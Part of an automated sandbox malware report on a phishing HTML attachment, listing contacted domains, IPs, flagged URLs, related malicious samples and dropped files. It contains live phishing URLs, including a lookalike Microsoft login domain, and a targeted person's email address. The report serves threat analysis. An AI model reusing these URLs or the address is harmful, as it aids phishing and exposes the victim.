jsdelivr.map.fastly.net	151.101.1.229	true	false	high
stackpath.bootstrapcdn.com	104.18.10.207	true	false	high
sgp.file.myqcloud.com	43.152.64.193	true	false	high
cdn.jsdelivr.net.cdn.cloudflare.net	104.18.187.31	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
e329293.dscd.akamaiedge.net	95.101.182.112	true	false	high
maxcdn.bootstrapcdn.com	104.18.11.207	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
ahtbuildingservices.com.au	192.185.98.73	true	false	unknown
code.jquery.com	151.101.130.137	true	false	high
jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com	172.67.209.138	true	true	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
www.google.com	216.58.206.68	true	false	high
5981999647.bureaubusinesslawyer.com	69.49.246.64	true	false	high
cdn.jsdelivr.net	unknown	unknown	false	high
5981999647-1317754460.cos.ap-singapore.myqcloud.com	unknown	unknown	false	unknown
aadcdn.msftauth.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://5981999647.bureaubusinesslawyer.com/next.php	false	Avira URL Cloud: malware	unknown
https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.2.1.slim.min.js	false		high
https://challenges.cloudflare.com/turnstile/v0/api.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/d/91361dc9ed8ade99/1739798864509/aZQKGyY5pVav8Kb	false		high
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg	false		high
https://jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com/kUv3b/?e=tina.vemmelund@rockwool.com	true		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/1943824874:1739795386:_kkzkTyYJ0FrfPDBOiWBmY2M4aUfhhRFIBrFUaWGHSk/91361dc9ed8ade99/6QcKH_ulfCVbBdpGH1XF4m66kGQpKK4Dxuh2Yp5PKv4-1739798862-1.1.1.1-GRN_NfAeTmqhQjxWJeqmSN.UIByHTBclAiMcTagVYNARpWEUeTGdkk3uqHHDYvTa	false		high
https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js	false		high
https://5981999647-1317754460.cos.ap-singapore.myqcloud.com/bootstrap.min.js	false	Avira URL Cloud: safe	unknown
https://cdn.jsdelivr.net/gh/pranaynamnaik/files@latest/micro-123787483.png	false		high
https://challenges.cloudflare.com/turnstile/v0/b/324d0dcf743c/api.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/h2sch/0x4AAAAAAA8Z6LQjS_cJDeOa/auto/fbE/new/normal/auto/	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=91361dc9ed8ade99&lang=auto	false		high
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false		high
http://ahtbuildingservices.com.au/favicon.ico	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/91361dc9ed8ade99/1739798864508/6e70cf5e083a7d386e1f9974bb4b5bd9dd11c43a64ceb287c4a293432abc6528/bxaDx2Cm7tbdiu6	false		high
http://ahtbuildingservices.com.au/index/LgfV/bYYdrvvAgF/tina.vemmelund@rockwool.com	false	Avira URL Cloud: safe	unknown
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://ahtbuildingservices.com.au/index/LgfV/bYYdrvvAgF/tina.vemmelund	Attach1.htm	false	Avira URL Cloud: safe	unknown
https://getbootstrap.com/)	chromecache_107.2.dr, chromecache_99.2.dr	false		high
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_126.2.dr, chromecache_105.2.dr, chromecache_107.2.dr, chromecache_99.2.dr	false		high
https://getbootstrap.com)	chromecache_126.2.dr, chromecache_105.2.dr	false		high
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_126.2.dr, chromecache_105.2.dr, chromecache_107.2.dr, chromecache_99.2.dr	false		high
http://opensource.org/licenses/MIT).	chromecache_121.2.dr, chromecache_111.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
95.101.182.65	unknown	European Union	20940	AKAMAI-ASN1EU	false
104.18.10.207	stackpath.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
104.18.187.31	cdn.jsdelivr.net.cdn.cloudflare.net	United States	13335	CLOUDFLARENETUS	false
104.18.94.41	unknown	United States	13335	CLOUDFLARENETUS	false
43.152.64.193	sgp.file.myqcloud.com	Japan	4249	LILLY-ASUS	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
69.49.246.64	5981999647.bureaubusinesslawyer.com	United States	46606	UNIFIEDLAYER-AS-1US	false
43.153.232.151	unknown	Japan	4249	LILLY-ASUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
151.101.194.137	unknown	United States	54113	FASTLYUS	false
151.101.1.229	jsdelivr.map.fastly.net	United States	54113	FASTLYUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
142.250.184.196	unknown	United States	15169	GOOGLEUS	false
192.185.98.73	ahtbuildingservices.com.au	United States	46606	UNIFIEDLAYER-AS-1US	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
216.58.206.68	www.google.com	United States	15169	GOOGLEUS	false
104.18.11.207	maxcdn.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.67.209.138	jkhvgjchfgdfghjkgadusglk.msn-oauth2hdf634hwe834my434hu4745fhy.com	United States	13335	CLOUDFLARENETUS	true
104.17.25.14	unknown	United States	13335	CLOUDFLARENETUS	false
95.101.182.112	e329293.dscd.akamaiedge.net	European Union	20940	AKAMAI-ASN1EU	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1617106
Start date and time:	2025-02-17 14:26:41 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Attach1.htm
Detection:	MAL
Classification:	mal88.phis.evad.winHTM@29/49@50/22
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .htm

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.16.131, 142.250.186.78, 142.250.110.84, 142.250.186.110, 142.250.185.170, 142.250.186.106, 216.58.206.42, 142.250.186.42, 142.250.186.170, 216.58.206.74, 142.250.185.202, 142.250.186.74, 142.250.186.138, 216.58.212.170, 142.250.181.234, 172.217.16.202, 142.250.185.138, 142.250.185.74, 142.250.185.106, 142.250.185.234, 172.217.18.14, 2.23.77.188, 199.232.210.172, 142.250.185.206, 142.250.74.202, 216.58.206.46, 172.217.18.110, 142.250.186.174, 142.250.181.227, 142.250.186.46, 172.217.16.206, 142.250.186.142, 142.250.185.110, 142.250.185.174, 2.19.106.160, 13.107.246.45, 4.175.87.197, 23.1.237.91
Excluded domains from analysis (whitelisted): clients1.google.com, www.bing.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, slscr.update.microsoft.com, ajax.googleapis.com, aadcdnoriginwus2.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com, optimizationguide-pa.googleapis.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
95.101.182.65	Timesheet.htm	Get hash	malicious	HTMLPhisher	Browse
	Final_Draft_with_without_Removal_Depreciation_Report.htm	Get hash	malicious	HTMLPhisher	Browse
	GasTechnologyPartnership.pdf	Get hash	malicious	HTMLPhisher	Browse
	https://cle.soundestlink.com/ce/c/67af4e08a90b85f6c51e3649/67af4e37c622ca8b13b0643e/67af4e500930257798ab6691?signature=6622e2772a21e189f04bbff6dbd8020cb3c1977d0aa04e3285c329f387017382	Get hash	malicious	Unknown	Browse
	http://gaer.pages.dev/	Get hash	malicious	HTMLPhisher	Browse
	ID_60232912649455456988.eml	Get hash	malicious	HTMLPhisher	Browse
	http://office.biofcnn.com/GrEkVrfg	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse
	http://mm-2.uxr919zm.eu.org/	Get hash	malicious	Unknown	Browse
	http://cgcudtuctydcgujtd.d3e0e9479pu9h0.amplifyapp.com/	Get hash	malicious	TechSupportScam	Browse
	https://guildmortgage.filestoweb.com/COv5d	Get hash	malicious	HTMLPhisher	Browse
104.18.10.207	http://desifoodcorner.wb4.xyz/	Get hash	malicious	Unknown	Browse	maxcdn.bootstrapcdn.com/font-awesome/4.7.0/fonts/fontawesome-webfont.woff2?v=4.7.0
	SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.21631.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.14541.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
104.18.187.31	https://wetransfer.com/downloads/5d034427b565a9bdfd0591fd879aff3220250217090443/69c235ffa888576aae0973561b9a7b3520250217090510/9d193d?t_exp=1740042283&t_lsid=5d87b514-85ed-4a06-8b2a-8df7f75e3a46&t_network=email&t_rid=ZW1haWx8Njc3N2M3OWY0ZGZkZTcwNmYwNWY5OWYy&t_s=download_link&t_ts=1739783110	Get hash	malicious	Unknown	Browse
	Timesheet.htm	Get hash	malicious	HTMLPhisher	Browse
	http://nodeissuesfix.com/	Get hash	malicious	Unknown	Browse
	https://harishamid591.github.io/Netflix-responsive	Get hash	malicious	HTMLPhisher	Browse
	https://ste50card.com/cn	Get hash	malicious	Unknown	Browse
	https://steanmcommurnlty.com/gift/762726	Get hash	malicious	Unknown	Browse
	https://petvado.pages.dev/	Get hash	malicious	HTMLPhisher	Browse
	https://claiim-hadiaah4.resminiid.net/	Get hash	malicious	Unknown	Browse
	https://cle.soundestlink.com/ce/c/67af4e08a90b85f6c51e3649/67af4e37c622ca8b13b0643e/67af4e500930257798ab6691?signature=6622e2772a21e189f04bbff6dbd8020cb3c1977d0aa04e3285c329f387017382	Get hash	malicious	Unknown	Browse
	https://appwebconnect.pages.dev/	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
stackpath.bootstrapcdn.com	https://clcmoveis.com.br/plasmic/literal/reamer?BimlN=aW5mb0Bjci1jYXN0aWxsb2RlcG9ydGlsbGEuZXM=&laLcrCM=XgFfyzXP	Get hash	malicious	Phisher	Browse	104.18.11.207
	2025 Q1 Staff Pay Adjustment-Handbook.pdf	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	Final_Draft_with_without_Removal_Depreciation_Report.htm	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	GasTechnologyPartnership.pdf	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://we324msnbi.pages.dev/Xfi_files/prism-ui.esm-53da3fe.js	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://we324msnbi.pages.dev/assets/favicons/default/site.webmanifest	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://webmail-server2.vercel.app/pp.html#darek.delton@state.ne.gov	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://wix-filters.autopolis.lt/modules/banner/banner.php?page_id=34&banner_id=386&url=https://tiny-raincoat-big.on-fleek.app/nova.html#Info@ips-intelligence.com	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	http://cgcudtuctydcgujtd.d3e0e9479pu9h0.amplifyapp.com/	Get hash	malicious	TechSupportScam	Browse	104.18.10.207
	https://careinternacional.com/.well-known/en/ahab/	Get hash	malicious	Unknown	Browse	104.18.10.207
jsdelivr.map.fastly.net	Timesheet.htm	Get hash	malicious	HTMLPhisher	Browse	151.101.65.229
	https://smartmanualspdf.com/pdf?cid=gkosv8jBAIJkn3LW&gad_source=5&gclid=EAIaIQobChMIv7yan9iligMVrVv2CB36ohNrEAEYASAAEgKlgPD_BwE	Get hash	malicious	Unknown	Browse	151.101.1.229
	Final Call Smart Manufacturing Excellence Munich (196Mo).msg	Get hash	malicious	Unknown	Browse	151.101.193.229
	https://notifications.google.com/g/p/ANiao5rdjmKDR8JzehcAm6SkEomHyUC9FcOJcLaNAljVsTh_7y7GPHabSUxjarmclBuNUOroPWAEevR_J8SHFG4A0r7ZjB9DO_wG3FKCGK3dnoeR_KDPpklJRFBsEWgvb_vtwzfPefraHWyONYTBlbPANZelBDXqtgdr73yy_Xuk5rUXAgTZ8QJkulDNKBkK64JgvThc7IxOJ7UIaTA	Get hash	malicious	Unknown	Browse	151.101.193.229
	https://files.fm/f/kxnrfq5y8g?share_email_id=15e8956&share_email_skip_notify=true	Get hash	malicious	Unknown	Browse	151.101.129.229
	https://notifications.google.com/g/p/ANiao5qKfpKGd2jYVQDb7vORoVGY96M_apQZWQcfuLgUh0GZyBJANTtYK9_noZQ1711qN-Nnm0DMf_B0c07RxsIpTsLOXIG6nNUkP7-522wWZZkizIeUQoaYMxfvubAPN7K6vgKfJCjpF3Y3VSFZPtNm5n34HM86QMFnOVYHFycjRojvprEeSViyQqV_RbPVd9Nh3y1jQx8FWiMJd_UXkRWlNs4	Get hash	malicious	Unknown	Browse	151.101.65.229
	2025 Q1 Staff Pay Adjustment-Handbook.pdf	Get hash	malicious	HTMLPhisher	Browse	151.101.1.229
	Final_Draft_with_without_Removal_Depreciation_Report.htm	Get hash	malicious	HTMLPhisher	Browse	151.101.1.229
	https://harishamid591.github.io/Netflix-responsive	Get hash	malicious	HTMLPhisher	Browse	151.101.129.229
	https://womanofficialstore.com/m/register?codeNumber=/	Get hash	malicious	Unknown	Browse	151.101.193.229
sgp.file.myqcloud.com	GasTechnologyPartnership.pdf	Get hash	malicious	HTMLPhisher	Browse	43.152.64.193
	https://app.powerbi.com/view?r=eyJrIjoiYTg1YmYxMjMtODA5Mi00MWMwLTg1ZTItZTg2MGU1MzE5ODkxIiwidCI6IjE1MWMxNjZlLWM3ZWEtNGI1ZC1hMjQ3LTNkMTAyNTEzY2IwMyJ9	Get hash	malicious	Unknown	Browse	43.152.64.193
	https://guildmortgage.filestoweb.com/COv5d	Get hash	malicious	HTMLPhisher	Browse	43.153.232.152
	https://us-west-2.protection.sophos.com/?d=powerbi.com&u=aHR0cHM6Ly9hcHAucG93ZXJiaS5jb20vdmlldz9yPWV5SnJJam9pWWpBNU5UZGtPVEl0T1RVNVpDMDBNVEl3TFRrNFpqVXROR1U1T0dWaU5XVTVNRE01SWl3aWRDSTZJakUxTVdNeE5qWmxMV00zWldFdE5HSTFaQzFoTWpRM0xUTmtNVEF5TlRFelkySXdNeUo5&i=NjAzNTFlYmUxMmQ2N2MzMjNhNzYzZDg0&t=cXRBVTE0Z3RLSGRTdEd4cm1WNzFhUm4wLzUzdXZKYklHYmduYnhYNlpsVT0=&h=5e715a0526a946bcaa614abc851141f0&s=AVNPUEhUT0NFTkNSWVBUSVYXtWfTC_gnxLfx0tqsdWatsuMxIHchoBDvy0tVrFrMxg	Get hash	malicious	Unknown	Browse	43.152.64.207
	https://app.powerbi.com/view?r=eyJrIjoiMDA2ZDU1NjAtYWIzNS00NWI5LThmZjQtZGNkNzUzYjk3YWJhIiwidCI6IjE1MWMxNjZlLWM3ZWEtNGI1ZC1hMjQ3LTNkMTAyNTEzY2IwMyJ9	Get hash	malicious	Unknown	Browse	43.153.232.152
	ATTT003.html	Get hash	malicious	HTMLPhisher	Browse	43.152.64.193
	ATTT003.html	Get hash	malicious	HTMLPhisher	Browse	43.152.64.207
	ATTT003.html	Get hash	malicious	HTMLPhisher	Browse	43.152.64.207
	ATTT003.html	Get hash	malicious	HTMLPhisher	Browse	43.153.232.152
	Ferc Q1 2025 401(k) Statement-5997707969.pdf	Get hash	malicious	HTMLPhisher	Browse	43.153.232.151

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	http://www.gifie.hu	Get hash	malicious	Unknown	Browse	23.213.161.208
	updater.exe	Get hash	malicious	Vidar	Browse	95.101.182.112
	https://clcmoveis.com.br/plasmic/literal/reamer?BimlN=aW5mb0Bjci1jYXN0aWxsb2RlcG9ydGlsbGEuZXM=&laLcrCM=XgFfyzXP	Get hash	malicious	Phisher	Browse	95.100.110.8
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	HTMLPhisher	Browse	2.22.242.121
	https://wetransfer.com/downloads/5d034427b565a9bdfd0591fd879aff3220250217090443/69c235ffa888576aae0973561b9a7b3520250217090510/9d193d?t_exp=1740042283&t_lsid=5d87b514-85ed-4a06-8b2a-8df7f75e3a46&t_network=email&t_rid=ZW1haWx8Njc3N2M3OWY0ZGZkZTcwNmYwNWY5OWYy&t_s=download_link&t_ts=1739783110	Get hash	malicious	Unknown	Browse	2.22.242.97
	ps	Get hash	malicious	Unknown	Browse	23.67.140.228
	Timesheet.htm	Get hash	malicious	HTMLPhisher	Browse	95.101.182.65
	Play_VM-Now(beverly.wilson)VWAV.html.._	Get hash	malicious	Unknown	Browse	2.16.164.91
	https://codaria.com.br/user/claim/qantas/auth/auhs1	Get hash	malicious	Unknown	Browse	184.86.251.13
	https://files.fm/f/kxnrfq5y8g?share_email_id=15e8956&share_email_skip_notify=true	Get hash	malicious	Unknown	Browse	95.101.149.233
CLOUDFLARENETUS	SFT20020117.exe	Get hash	malicious	FormBook	Browse	104.21.80.1
	QUOTE OF DRY DOCK REPAIR.exe	Get hash	malicious	FormBook	Browse	104.21.64.1
	Nonmerchantable.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.32.1
	Ordine di acquisto_(PO102429)_OFT_PUMPS.exe	Get hash	malicious	Lokibot, PureLog Stealer, zgRAT	Browse	188.114.97.3
	PO# 81136575.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	PH9876509487650000.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.96.1
	QUOTATION NO REQ-19-000640.exe	Get hash	malicious	FormBook	Browse	104.21.64.1
	pfYNBAkPIwsCPTS.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	Revised Order Confirmation.exe	Get hash	malicious	FormBook	Browse	104.21.64.1
	updater.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
CLOUDFLARENETUS	SFT20020117.exe	Get hash	malicious	FormBook	Browse	104.21.80.1
	QUOTE OF DRY DOCK REPAIR.exe	Get hash	malicious	FormBook	Browse	104.21.64.1
	Nonmerchantable.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.32.1
	Ordine di acquisto_(PO102429)_OFT_PUMPS.exe	Get hash	malicious	Lokibot, PureLog Stealer, zgRAT	Browse	188.114.97.3
	PO# 81136575.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	PH9876509487650000.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.96.1
	QUOTATION NO REQ-19-000640.exe	Get hash	malicious	FormBook	Browse	104.21.64.1
	pfYNBAkPIwsCPTS.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	Revised Order Confirmation.exe	Get hash	malicious	FormBook	Browse	104.21.64.1
	updater.exe	Get hash	malicious	Vidar	Browse	172.64.41.3

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Feb 17 12:27:38 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9801982603754036
Encrypted:	false
SSDEEP:	48:8wdyTe+LHbidAKZdA19ehwiZUklqehAy+3:8xHp/y
MD5:	946D42A7D16798B36D2BB3ED7CEECB48
SHA1:	9C728721D89F814C64342E151764FCEF34AAEC18
SHA-256:	B9609F3A7E8203724927107FB1F75498D7ECC6945CB163660C5CF9C835B576F0
SHA-512:	12803443CCB7629BC8C30D6B619EB433D88DCF6EA1C039B693156E8734D80A7300AE50D879250C8049548AAD36CC7BF1244C0C920FF04343BB5D75D0FD50ED28
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....O.?...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IQZqk....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VQZqk....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VQZqk....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VQZqk..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VQZtk...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........=}~D.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Feb 17 12:27:38 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9980740469421647
Encrypted:	false
SSDEEP:	48:8odyTe+LHbidAKZdA1weh/iZUkAQkqehvy+2:85H79Q+y
MD5:	003C8E102BA5B037CC55BAA48C3F84A1
SHA1:	6CFBBDC08DE4B5F93C30D690E776682BAED70005
SHA-256:	6E1D61276E4E88DEC93CDB10535E978E72B400098A97F6908F1EB9AFE23D75DE
SHA-512:	AD27591507DA635CCC565CC2261950EFA9ADD08FABF9B39496489F8DC63ED844A4F9B821397AF3067DBCC0733338D577C425851B03D1BB07A10294477FA196D3
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......?...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IQZqk....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VQZqk....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VQZqk....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VQZqk..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VQZtk...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........=}~D.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.008946857483292
Encrypted:	false
SSDEEP:	48:8x3dyTe+sHbidAKZdA14tseh7sFiZUkmgqeh7sVy+BX:8x8HSnLy
MD5:	C694A43DDB007A88FB8A1EAA1C5473CC
SHA1:	38FDA3939C8ACB56B1AF022E670D9388A4F36091
SHA-256:	DE058E1A74E86FD27CA5603689B54DE8F0D02E37A07554C87869F3B5F1A24C25
SHA-512:	B7E5E9D85389F0AD845DB8418DC9BD832135882AB2514CEE0EE96E943DD5196F0A4EC741A3D5F18F62B08CB75625F16203C21BB0F900D4C239E70CCD4F3121B5
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IQZqk....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VQZqk....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VQZqk....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VQZqk..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........=}~D.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Feb 17 12:27:38 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
